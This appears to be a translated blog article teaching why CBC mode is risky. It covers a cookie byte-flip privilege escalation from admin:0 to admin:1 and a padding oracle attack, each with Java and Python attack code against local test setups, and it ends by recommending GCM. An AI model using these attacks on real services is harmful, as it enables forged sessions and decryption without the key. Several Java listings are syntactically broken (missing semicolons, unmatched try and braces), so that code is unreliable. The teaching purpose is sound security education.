CBC

Introduction

This article is a detailed version of part of the content I shared in the company's internal sharing. As the title says, I will explain in words, code examples, and lead you to understand why we do not recommend using the cbc encryption mode, what security issues it may cause, and what aspects to pay attention to if it is necessary to use it.

Note: This article only considers the security perspective and does not take into account factors such as performance and compatibility

What is a working mode

The working mode of block encryption has nothing to do with the specific block encryption algorithm. Therefore, as long as the cbc mode is used, it is the same for problems with AES, DES, 3DES, and other algorithms.

In terms of AES-128-CBCFor example, AES algorithm's internal implementation can be masked, treating AES algorithm as a black box, input plaintext and key to return ciphertext.

Since it is a block encryption algorithm, for long plaintext, it is necessary to group it according to the block size specified by the algorithm. AES has a block size of 16B. If the same key is used for the calculation between different groups, some security issues may arise. Therefore, in order to apply the block cipher to different practical applications, NIST has defined several working modes. The encryption processing logic of different modes for the block is different. Common working modes include:

The ECB mode is very simple. Suppose there are plaintext blocks a, b, c, d, each encrypted with the same key k to get ciphertexts A, B, C, D, and the ciphertext ABCD corresponding to the plaintext abcd is shown in the figure:

The ECB mode is very simple and may be very advantageous in terms of performance because there is no relationship between the blocks, which can be calculated independently in parallel. However, from a security perspective, this method of directly concatenating ciphertext blocks may be guessed by attackers to deduce the plaintext features or replace and discard some ciphertext blocks to achieve the effect of replacing and intercepting plaintext, as shown in the following figure:

Therefore, it is easy to understand that ECB is not a recommended working mode.

CBC

With the lessons learned from ECB, the CBC (Cipher Block Chaining) mode proposes to XOR the plaintext block with a random initialization vector IV first, and the ciphertext of this block is XORed with the next block's plaintext. This method increases the randomness of the ciphertext and avoids the problems of ECB, as detailed in the figure:

Encryption process

Explain this diagram, there are plaintext blocks a, b, c, d, and the CBC working mode has an execution order, that is, the second ciphertext block can only be calculated after the first ciphertext block is calculated. The first plaintext block a needs to be XORed with the initial block IV before encryption, that is a^IVThen use the key K for standard AES encryption, E(a^IV,K)Get the ciphertext block of the first group, and the ciphertext block A will participate in the calculation of the second group of ciphertexts. The calculation process is similar, but the second time, the IV needs to be replaced with A, and this process is repeated until the final ciphertext ABCD is obtained, which is the CBC mode.

Decryption process

Carefully observe the encryption process of CBC, which requires the use of a random initialization vector IV. In the standard encryption process, the IV is appended to the ciphertext block. Suppose there are two people, A and B, where A provides B with the ciphertext (IV)ABCD. After obtaining the ciphertext, B extracts the IV and then performs the decryption shown in the following figure:

The decryption process is a reversal of the encryption process in direction, pay attention to the arrow direction from abcd to ABCD in the two diagrams. The first ciphertext block is decrypted first using AES, and the intermediate value obtained is denoted as MA, then MA is XORed with the initial vector IV to get a. The second block repeats the same action, and the IV is replaced with the ciphertext block A, and finally, the plaintext block abcd can be obtained.

What are the problems with CBC?

CBC adds a random variable IV to the ciphertext, which increases the randomness of the ciphertext and increases the difficulty of ciphertext analysis, is it safe? The answer is of course not, CBC also introduces a new problem - the plaintext can be changed by changing the ciphertext.

CBC byte flip attack

Principle explanation

The principle of CBC byte flip attack is very simple, as shown in the figure:

The attack often occurs in the decryption process. The hacker can modify the plaintext by controlling the IV and ciphertext blocks. As shown in the figure, the hacker can replace the ciphertext block D with block E to tamper with the original plaintext d to x (it may involve padding verification, here we will not discuss it first), or by the same principle, the hacker can change the plaintext block a by controlling the IV.

For example

Next, let's use a practical example to demonstrate the principle and harm.

In order to facilitate the explanation of the principle, IV and key will be hardcoded during encryption to avoid different results each time the program runs.

Assuming there is a web service application, the front and backend check the permissions through Cookie, and the content of cookie is plaintext admin:0The ciphertext after AES-128-CBC encryption is encoded with base64, the number 0 represents that the user's permission is non-administrator at this time. When the number after admin is 1, the backend will consider it as an administrator user.

The content of Cookie is: AAAAAAAAAAAAAAAAAAAAAJyycJTyrCtpsXM3jT1uVKU=

At this time, the hacker can use byte flip attack to attack this service when knowing the check principle, and change the plaintext of cookie without knowing the key to admin:1, the specific process:

AES uses 16B as block size for partitioning admin:0Under ASCII encoding, the corresponding binary is only 7B, so the original plaintext will also be padded during encryption until it is a multiple of 16B, so 9B need to be padded (the details of padding will be discussed later), because CBC also has IV, so the final ciphertext is IV+Cipher, IV 16B, cipher 16B, a total of 32B. Here, because there is only one ciphertext block, changing the 7th byte of IV corresponds to the plaintext admin:0the position of the number, or the 7th byte of the ciphertext can change the field of the plaintext number part. By continuous attempts, we will change the original ciphertext IV block 00Changed to 01, so that the plaintext can be successfully flipped to 1, that is, the cookie plaintext becomes admin:1in order to achieve the purpose of privilege escalation.

Complete code:

1. package com.example.springshiroproject;
3. import org.apache.shiro.crypto.AesCipherService;
4. import org.apache.shiro.util.ByteSource;
6. import java.lang.reflect.InvocationTargetException;
7. import java.lang.reflect.Method;
8. import java.security.Key;
9. import java.util.Arrays;
11. public class MyTest {
12. public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
13. AesCipherService aesCipherService = new AesCipherService();
14. // Hardcoded key
15. byte[] key = new byte[128/8];
16. Arrays.fill(key,(byte) '\0'); // A hardcoded key, unknown to the client and hackers
17. String plainText = "admin:0"; // The plaintext content of the cookie
19. byte[] plainTextBytes = plainText.getBytes()
21. // Hardcoded IV
22. byte[] iv_bytes = new byte[128/8]
23. Arrays.fill(iv_bytes, (byte) '\0')
24. //
25. // // The AES-128-cbc encryption method with a customizable IV by reflection can be used (the original method is private)
26. Method encryptWithIV = aesCipherService.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("encrypt", new Class[]{byte[].class, byte[].class, byte[].class, boolean.class})
27. encryptWithIV.setAccessible(true)
28. ByteSource cipherWithIV = (ByteSource) encryptWithIV.invoke(aesCipherService, new Object[]{plainTextBytes, key, iv_bytes, true})
29. System.out.println("Plaintext: " + ByteSource.Util.bytes(plainTextBytes).toHex())
31. // Normal logic decryption
32. byte[] cipher = cipherWithIV.getBytes()
33. System.out.println("Original ciphertext: " + cipherWithIV.toHex())
34. System.out.println("Cookie content: " + cipherWithIV.toBase64())
36. ByteSource decPlain = aesCipherService.decrypt(cipher, key)
37. System.out.println("Original decrypted plaintext: " + new String(decPlain.getBytes()))
39. // Byte flip attack
40. cipher[6] = (byte)0x01;
41. System.out.println("Reversed ciphertext: " + ByteSource.Util.bytes(cipher).toHex())
42. System.out.println("Reversed cookie: " + ByteSource.Util.bytes(cipher).toBase64())
43. decPlain = aesCipherService.decrypt(cipher, key);
44. System.out.println("Reverse decrypted plaintext: " + new String(decPlain.getBytes()))
45. }
46. }

This example only discusses a single block, and in actual scenarios, it may involve multiple blocks. Multiple blocks changing one ciphertext block actually affects two plaintext blocks, requiring continuous transformation and guessing of ciphertext blocks at the same position, which is very time-consuming.

Therefore, in order to make it more convenient to exploit, attackers find that the decryption program will verify the padding rules, and if the verification fails, an exception will be thrown, similar to SQL injection blind injection, which provides more information for attackers to exploit vulnerabilities.

Padding type

Because it involves the exploitation of padding rules, it is necessary to introduce the mainstream padding types specifically:

Here, we focus on PKCS#5and PKCS#7, I found that many security personnel's articles on the description of these two padding modes are problematic, such as:

In fact, it doesn't matter pkcs#5or pkcs#7The padding content is the number of bytes to be padded, which is the binary representation of this number itself pkcs#5is divided into blocks according to the standard of 8B for padding pkcs#7can be not fixed from 1 to 255, just as agreed by the RFC of AES, the blocksize is fixed at 16B, so in the AES call pkcs#5and pkcs#7is not much different.

For example, if there is plaintext helloworldThe plaintext itself is English, according to ascii each character occupies 1B, the plaintext length is 10BIt still needs to be padded 6BThe padding content is \x06The final chunk content is as follows: helloworld\x06\x06\x06\x06\x06\x06.

During decryption, the server will perform the following verification on the content:

1. Get the plaintext data after decryption.
2. Get the value of the last byte of the plaintext data.
3. Check whether the value of the last byte is within the valid padding range.

• If the value of the last byte is less than or equal to the length of the plaintext data, it is judged as having padding data.
• If the value of the last byte is greater than the length of the plaintext data, it is judged as having no padding data.
• If the value of the last byte is beyond the padding range (greater than the block size), the data may be tampered with or there may be other anomalies.

1. If there is padding, then according to the number of padding bytes, the plaintext data is截取, and the padding part is removed.

Padding oracle attack

Padding oracle attack uses the tampering of the last padding byte of the ciphertext block to trigger the server to report an error, thus predicting the plaintext or generating a new ciphertext, so the oracle here means prediction, not the Oracle Corporation as we know it.

Example

Suppose we have received a sequence of ciphertext that has been encrypted with AES-128-CBC, and the ciphertext content is:

000000000000000000000000000000009cb27094f2ac2b69b173378d3d6e54a5

The first 16 bytes are all zeros, which are fixed IV, and the rest are the actual ciphertext. Review the decryption process

1. The ciphertext is first converted into an intermediate value M under the action of the key K.
2. The intermediate value M XORed with the initial vector IV yields the plaintext.

The part marked yellow in the table is the content that the attacker can control. If only the byte is flipped, it can change the plaintext content, but we cannot know the specific content of the plaintext. Therefore, the padding oracle appears. The normal business logic will make a judgment on the plaintext content during decryption. If the decrypted content is correct, it may return 200, and if the decrypted plaintext is incorrect, it returns 403. However, if the padding verification of the ciphertext program fails, it may cause the program to crash and produce a 500 error.

The attacker will use the 500 error to cyclically judge whether the guessed intermediate value is correct.

After guessing the intermediate value, XOR it with the known IV to obtain the plaintext.

Attack process

Guessing the intermediate value

Let's take the example just mentioned to do a test. We try to guess the last bit's intermediate value, and perform a brute-force verification of the IV from 00 to FF until the program does not report an error, obtaining iv[15]for 0x08If no padding error is reported at this time, it proves that the last bit of the tampered plaintext should be 0x01By performing an XOR between the plaintext and the IV, we can obtain the intermediate value as 0x08 ^ 0x01 = 0x09The red part in the table:

Proceed to the second step, guessing the second last bit, which needs to satisfy that the last two bytes of the tampered plaintext are 0x02Since the last bit and the middle value have already been determined as 0x09, the last bit's IV is: 0x09 ^ 0x02 = 0x0BThe second last bit of the initialization vector (IV) cycles from 00 to FF, obtaining the IV value as 0x0BIf the program does not report an error, then the intermediate value is 0x02^0x0B=0x09

Repeat this process until all intermediate values are guessed out.

Obtain the plaintext

At this time,We can guess the plaintext without knowing the key based on the intermediate value and IV M^IV=P(M is the intermediate value, IV is the initial vector, P is the plaintext).

Since we have hardcoded the IV to 00, the plaintext is the ASCII value of M, that is:

admin:0\09\09\09\09\09\09\09\09\09

09 is the padding content, remove the bytes to get the final plaintext: admin:0

Corresponding code (Java):

1. package com.example.springshiroproject;
3. import org.apache.shiro.crypto.AesCipherService;
4. import org.apache.shiro.crypto.CryptoException;
5. import org.apache.shiro.util.ByteSource;
7. import javax.crypto.BadPaddingException;
8. import java.lang.reflect.InvocationTargetException;
9. import java.lang.reflect.Method;
10. import java.security.Key;
11. import java.util.Arrays;
13. public class MyTest {
14. public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
15. int blockSize = 16;
16. AesCipherService aesCipherService = new AesCipherService();
17. // Hardcoded key
18. byte[] key = new byte[128/8];
19. Arrays.fill(key,(byte) '\0'); // A hardcoded key, unknown to the client and hackers
20. String plainText = "admin:0"; // The plaintext content of the cookie
22. byte[] plainTextBytes = plainText.getBytes()
25. byte[] iv_bytes = new byte[128/8]
26. Arrays.fill(iv_bytes, (byte) '\0')
27. //
28. // // The reflection call can customize the IV for AES-128-cbc encryption method
29. Method encryptWithIV = aesCipherService.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("encrypt", new Class[]{byte[].class, byte[].class, byte[].class, boolean.class})
30. encryptWithIV.setAccessible(true)
31. ByteSource cipherWithIV = (ByteSource) encryptWithIV.invoke(aesCipherService, new Object[]{plainTextBytes, key, iv_bytes, true})
32. System.out.println("Plaintext: " + ByteSource.Util.bytes(plainTextBytes).toHex())
35. byte[] cipher = cipherWithIV.getBytes()
36. // System.out.println(cipher.length)
37. System.arraycopy(cipher, 0, iv_bytes, 0, blockSize - 1)
38. System.out.println("Original ciphertext: " + cipherWithIV.toHex())
39. System.out.println("Cookie content: " + cipherWithIV.toBase64())
41. ByteSource decPlain = aesCipherService.decrypt(cipher, key)
42. System.out.println("Original decrypted plaintext: " + new String(decPlain.getBytes()))
43. System.out.println("Start trying");
44. decPlain = null;
47. byte[] middleValue = new byte[blockSize];
48. Arrays.fill(middleValue, (byte) 0x00);
49. boolean flipFlag = false;
50. for (int j=0; j<blockSize; j++){
51. byte tmp;
52. System.out.println("Start " + (j+1));
53. if (j > 0){
54. for (int p=middleValue.length-1; p>middleValue.length-1-j; p--){
55. tmp = (byte) (middleValue[p]^(j+1));
56. cipher[p] = tmp;
57. // System.out.println("Current tmp: " + tmp);
58. }
59. System.out.println("Fill iv's cipher based on known intermediate value: " + ByteSource.Util.bytes(cipher).toHex());
60. }
61. System.out.println("Initial padding");
63. }
64. tmp = cipher[blockSize-j-1];
65. for (int i=0x00; i<=0xff; i++){
66. if (tmp == i){
67. // continue;
68. System.out.println("Same as original value, skip");
69. if (!flipFlag){
70. flipFlag = true;
71. continue;
72. }
73. }
75. cipher[blockSize-j-1] = (byte) i;
76. try{
77. decPlain = aesCipherService.decrypt(cipher, key);
78. tmp = (byte) (i ^ (j+1));
79. middleValue[blockSize-j-1] = tmp; // Save the intermediate value M = IV ^ I
80. System.out.println("Guess correct! The last " + (j+1) + " iv: " + i);
81. System.out.println("The last " + (j + 1) + " M: " + tmp)
82. break;
83. }
84. if (i == 0xff) {
85. System.out.print("No output");
86. System.exit(0);
87. }
89. }
91. }
92. }
93. System.out.println("Guessed intermediate value: " + ByteSource.Util.bytes(middleValue).toHex())
94. byte[] attackPlain = new byte[blockSize];
95. for (int i = 0; i < attackPlain.length; i++) {
96. attackPlain[i] = (byte)(iv_bytes[i] ^ middleValue[i])
97. }
99. System.out.println("Final ciphertext: " + ByteSource.Util.bytes(cipher).toHex())
100. System.out.println("Final plaintext: " + ByteSource.Util.bytes(attackPlain).toHex())
101. System.out.println("Attempt ended")
103. System.out.println("Reversed decrypted plaintext: " + new String(attackPlain))
106. }
107. }

Running results:

I have also written the corresponding Python version, if you encounter errors while rolling your own, you can refer to my code:

Vulnerability simulation environment:

1. from aes_manual import aes_manual
3. class PaddingOracleEnv:
5. def __init__(self):
6. self.key = aes_manual.get_key(16)
8. def run(self):
9. cipher = aes_manual.encrypt(self.key, "hello".encode())
12. def login(self,cookie):
13. try:
14. text = aes_manual.decrypt(self.key, cookie)
15. if text == b'hello':
16. return 200 # Completely correct
17. else:
18. return 403 # Plain text error
19. except RuntimeError as e:
20. return 500 # Validation failed
23. padding_oracle_env = PaddingOracleEnv()
25. if __name__ == '__main__':
26. res = padding_oracle_env.login(b"1111111111111111R\xbb\x16^\xaf\xa8\x18Me.U\xaf\xfe\xb6\x99\xec")
27. print(res)

Attack script:

1. import sys
3. from aes_manual import aes_manual
4. from padding_oracle_env import padding_oracle_env
5. from loguru import logger
7. class PaddingOracleAttack:
9. def __init__(self):
10. logger.remove()
11. logger.add(sys.stderr, level="DEBUG")
12. self.cipher_text_raw = b"1111111111111111R\xbb\x16^\xaf\xa8\x18Me.U\xaf\xfe\xb6\x99\xec"
13. self.iv = aes_manual.get_iv(self.cipher_text_raw)
14. self.cipher_content = aes_manual.get_cipher_content(self.cipher_text_raw)
16. def single_byte_xor(self, A: bytes, B: bytes):
17. """Single-byte XOR operation"""
18. assert len(A) == len(B) == 1
19. return ord(A) ^ ord(B)
21. def guess_last(self):
22. """
23. padding oracle
24. :return:
25. """
26. c_l = len(self.cipher_content)
27. M = bytearray()
28. for j in range(1, c_l+1): # Number of digits for the intermediate value
29. for i in range(1, 256): # Assuming iv brute force
30. f_iv = b'\x00' * (c_l-j) + bytes([i])
31. for m in M[::-1]:
32. f_iv += bytes([m ^ j]) # Utilizing the known m from the previous step to calculate the unknown iv
33. res = padding_oracle_env.login(f_iv + self.cipher_content)
34. if res == 403: # The correct padding situation
35. M.append(i ^ j)
36. logger.info(f"{j} - {bytes([i])} - {i}")
37. break
38. # logger.info(M)
39. M = M[::-1] # reverse
40. logger.info(f"M({len(M)}): {M}")
41. p = bytearray()
42. for m_i, m in enumerate(M):
43. p.append(m ^ self.iv[m_i])
44. logger.info(f"The plaintext decrypted is ({len(p)}): {p}")
46. def run(self):
47. self.guess_last()
49. if __name__ == '__main__':
51. attack = PaddingOracleAttack()
52. attack.run()

In fact, there is no need to reinvent the wheel, and there are also many ready-made tools, such as: https://github.com/KishanBagaria/padding-oracle-attacker

Summary

To answer the title question, it is not recommended to use the CBC working mode in scenarios with high requirements for transmission confidentiality, because of the existence of attacks such as CBC byte flipping and padding oracle attack

In addition, I have searched on Google and Baidu python aes cbc encryptionThere are many misleading articles when the keywords appear:

And the top three articles in the article rankingThe sample code inside even directly uses the encryption and decryption key as the IVThis approach has the following risks:

1. To know that the IV is generally concatenated with the ciphertext header and transmitted over the network, in this way, attackers do not need to perform complex operations such as byte reversal, they can directly extract the IV and decrypt it.
2. Even if the IV is not transmitted as part of the ciphertext, using the same IV for encryption will result in the same plaintext block producing the same ciphertext block. Attackers can infer some information about the plaintext by observing the pattern of the ciphertext, and even carry out other forms of attacks, such as chosen plaintext attacks.

To ensure security, a random and unique IV should be generated and stored together with the ciphertext. The common practice is to generate a new IV each time the encryption is performed and transmit or store it as additional ciphertext data, so that it can be used correctly during decryption. This can avoid predictable attacks and enhance the security of the AES CBC mode.

It is more recommended to use GCM as the working mode for encryption and decryption because:

1. Data integrity and encryption authentication: The GCM mode provides the generation of an authentication tag, which is used to verify the integrity of the ciphertext and authenticate the source of the ciphertext. This can help detect any tampering or forgery of the ciphertext and provide stronger data integrity protection.
2. Randomness and unpredictability: The GCM mode uses a counter and a key to generate a key stream, which is XORed with the plaintext to obtain the ciphertext. This XOR operation provides higher randomness and unpredictability, enhancing the security of the ciphertext.
3. Parallel encryption and high performance: The GCM mode supports parallel encryption, which can process multiple data blocks simultaneously, improving the speed and efficiency of encryption and decryption. This is very useful when dealing with large-scale data.
4. Resistance to padding attacks: Compared with some block cipher modes, the GCM mode does not require padding operations, so it is not easily affected by padding attacks and related vulnerabilities.

Reference

• https://paper.seebug.org/1123/
• https://www.rfc-editor.org/rfc/rfc2630
• https://xz.aliyun.com/t/11633
• ChatGPT

Public Account

Ladies and gentlemen, welcome to subscribe to my public account 'Hardcore Security', and learn with me!